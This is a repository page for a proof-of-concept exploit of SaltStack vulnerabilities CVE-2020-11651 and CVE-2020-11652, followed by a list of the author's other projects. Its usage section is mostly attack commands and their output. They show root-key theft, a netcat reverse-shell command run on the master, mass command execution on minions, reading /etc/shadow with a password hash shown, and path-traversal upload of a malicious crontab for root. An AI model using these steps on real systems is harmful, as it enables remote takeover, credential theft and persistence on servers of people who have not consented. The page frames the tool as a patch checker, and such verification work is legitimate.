• Stars
    star
    119
  • Rank 297,930 (Top 6 %)
  • Language
    Python
  • Created over 4 years ago
  • Updated over 4 years ago

Reviews

There are no reviews yet. Be the first to send feedback to the community and the maintainers!

Repository Details

PoC exploit of CVE-2020-11651 and CVE-2020-11652

PoC exploit for CVE-2020-11651 and CVE-2020-11652

This is a proof of concept exploit based on the initial check script. Use it to verify you have successfully updated your Salt master servers to a release containing the required fixes.

Thanks for F-Secure Labs for their research and reporting.

Currently this script can be used for filesystem access and scheduling commands on the master and all connected minions. Use these powers wisely!

Usage

Default operation (without arguments) is to obtain the root key for the given master:

root@kalimah:~/salt# python3 exploit.py --master 192.168.115.130
[!] Please only use this script to verify you have correctly patched systems you have permission to access. Hit ^C to abort.
[+] Salt version: 3000.1
[ ] This version of salt is vulnerable! Check results below
[+] Checking salt-master (192.168.115.130:4506) status... ONLINE
[+] Checking if vulnerable to CVE-2020-11651...
[*] root key obtained: b5pKEa3Mbp/TD7TjdtUTLxnk0LIANRZXC+9XFNIChUr6ZwIrBZJtoZZ8plfiVx2ztcVxjK2E1OA=
root@kalimah:~/salt#

Executing arbitrary commands on the master:

root@kalimah:~/salt# python3 exploit.py --master 192.168.115.130 --exec "nc 127.0.0.1 4444 -e /bin/sh"
[!] Please only use this script to verify you have correctly patched systems you have permission to access. Hit ^C to abort.
[+] Salt version: 3000.1
[ ] This version of salt is vulnerable! Check results below
[+] Checking salt-master (192.168.115.130:4506) status... ONLINE
[+] Checking if vulnerable to CVE-2020-11651...
[*] root key obtained: b5pKEa3Mbp/TD7TjdtUTLxnk0LIANRZXC+9XFNIChUr6ZwIrBZJtoZZ8plfiVx2ztcVxjK2E1OA=
[+] Attemping to execute nc 127.0.0.1 4444 -e /bin/sh on 192.168.115.130
[+] Successfully scheduled job: 20200504153851746472
root@kalimah:~/salt#

The same, but on all minions:

root@kalimah:~/salt# python3 exploit.py --master 192.168.115.130 --exec-all="apt-get upgrade -y"
[!] Please only use this script to verify you have correctly patched systems you have permission to access. Hit ^C to abort.
[+] Salt version: 3000.1
[ ] This version of salt is vulnerable! Check results below
[+] Checking salt-master (192.168.115.130:4506) status... ONLINE
[+] Checking if vulnerable to CVE-2020-11651...
[*] root key obtained: b5pKEa3Mbp/TD7TjdtUTLxnk0LIANRZXC+9XFNIChUr6ZwIrBZJtoZZ8plfiVx2ztcVxjK2E1OA=
[!] Lester, is this what you want? Hit ^C to abort.
[+] Attemping to execute 'apt-get upgrade -y' on all minions connected to 192.168.115.130
[+] Successfully submitted job to all minions.
root@kalimah:~/salt#

Files can be read with:

root@kalimah:~/salt# python2 exploit.py --master 192.168.115.130 -r /etc/shadow
[+] Salt version: 2019.2.0
[ ] This version of salt is vulnerable! Check results below
[+] Checking salt-master (192.168.115.130:4506) status... ONLINE
[+] Checking if vulnerable to CVE-2020-11651...
[*] root key obtained: GkJiProN36+iZ53buhvhm3dWcC/7BZyEomu3lSFucQF9TkrCRfA32EIFAk/yyQMkCyqZyxjjp/E=
[+] Attemping to read /etc/shadow from 192.168.115.130
root:$6$7qfolaa/$3yhszWj/VUJjfPaqr1yO6NLgV/FhHnVT9Pr6spwJ/F0BJw5vFM.3KjtwcnnuGo5uSJJkLrd28jXrmVZUD9nEI/:17812:0:99999:7:::
daemon:*:17785:0:99999:7:::
bin:*:17785:0:99999:7:::
sys:*:17785:0:99999:7:::
sync:*:17785:0:99999:7:::
games:*:17785:0:99999:7:::
man:*:17785:0:99999:7:::
[...]

Files can be uploaded using --upload-src and --upload-dest. Note the destination must be a relative path:

root@kalimah:~/salt#  python2 exploit.py --upload-src evil.crontab --upload-dest ../../../../../../var/spool/cron/crontabs/root
[+] Salt version: 2019.2.0
[ ] This version of salt is vulnerable! Check results below
[+] Checking salt-master (127.0.0.1:4506) status... ONLINE
[+] Checking if vulnerable to CVE-2020-11651...
[*] root key obtained: GkJiProN36+iZ53buhvhm3dWcC/7BZyEomu3lSFucQF9TkrCRfA32EIFAk/yyQMkCyqZyxjjp/E=
[-] Destination path must be relative
[+] Attemping to upload evil.crontab to ../../../../../../var/spool/cron/crontabs/root on 127.0.0.1
[ ] Wrote data to file /srv/salt/../../../../../../var/spool/cron/crontabs/root

Requirements

  • Python 2 or 3
  • Salt (pip3 install salt)

More Repositories

1

openbsd-wip

OpenBSD work in progress ports
C++
267
star
2

node-vcard

parse vCard files/data into JSON
JavaScript
55
star
3

openbsd-rockpro64

OpenBSD/arm64 on PINE64 RockPro64
31
star
4

portroach

OpenBSD ports tree version scanner
Perl
17
star
5

CVE-2017-9101

Exploit for PlaySMS 1.4 authenticated RCE
Python
14
star
6

tinyschemg

mg(1) extended with tinyscheme
C
9
star
7

ansible-vmm

Playground for Ansible modules for vmm(4)
Python
8
star
8

hwsensorsbeat

Lightweight shipper for OpenBSD sensors information
Go
7
star
9

clj-mpd

Moved to clj-mpd/clj-mpd
Clojure
5
star
10

realtek_turnkey_decrypter

C
4
star
11

node-pdflatex-ng

pdflatex(1) wrapper for Node.js
JavaScript
4
star
12

munin-mpower

Munin plugin for mPower devices
Ruby
3
star
13

puppet-mfi

Ubiquiti mFi module for Puppet
Puppet
2
star
14

openbsd_facts

Various OpenBSD facts for facter
Ruby
2
star
15

gmc4-as

Simple assembler for GMC4
Perl
2
star
16

prism-langs

prism.js language components
JavaScript
2
star
17

ansible-dsapid

Ansible playbook for dsapid
Python
2
star
18

salt-tls-formula

SaltStack
1
star
19

gitbot

Jabber bot for github interaction
Clojure
1
star
20

btrace-fuzz

1
star
21

jasperla.github.com

HTML
1
star
22

gmc4-snippets

Random pieces of code for the GMC4
Assembly
1
star
23

netbox-zone-generator

DNS zone generation based on netbox prefixes
Python
1
star
24

favicommh3

HTML
1
star
25

icb-rs

Simple ICB library and client written in Rust
Rust
1
star
26

dot.files

Lua
1
star
27

oh-my-zsh

trimmed fork of oh-my-zsh
Shell
1
star
28

puppet-procmail

Puppet module to manage procmail and generate a procmailrc
Puppet
1
star
29

dot.emacs

Random collection of snippets that make up my .emacs.d
Emacs Lisp
1
star
30

sonosq

Copy Sonos queues between speakers
Ruby
1
star
31

docker-tags

Track and report tags of followed Docker images
Ruby
1
star
32

sonvol

Simple Sonos volume control. Nothing fancy, just volume control.
Ruby
1
star
33

tadpole

URI collecting IRC bot
CoffeeScript
1
star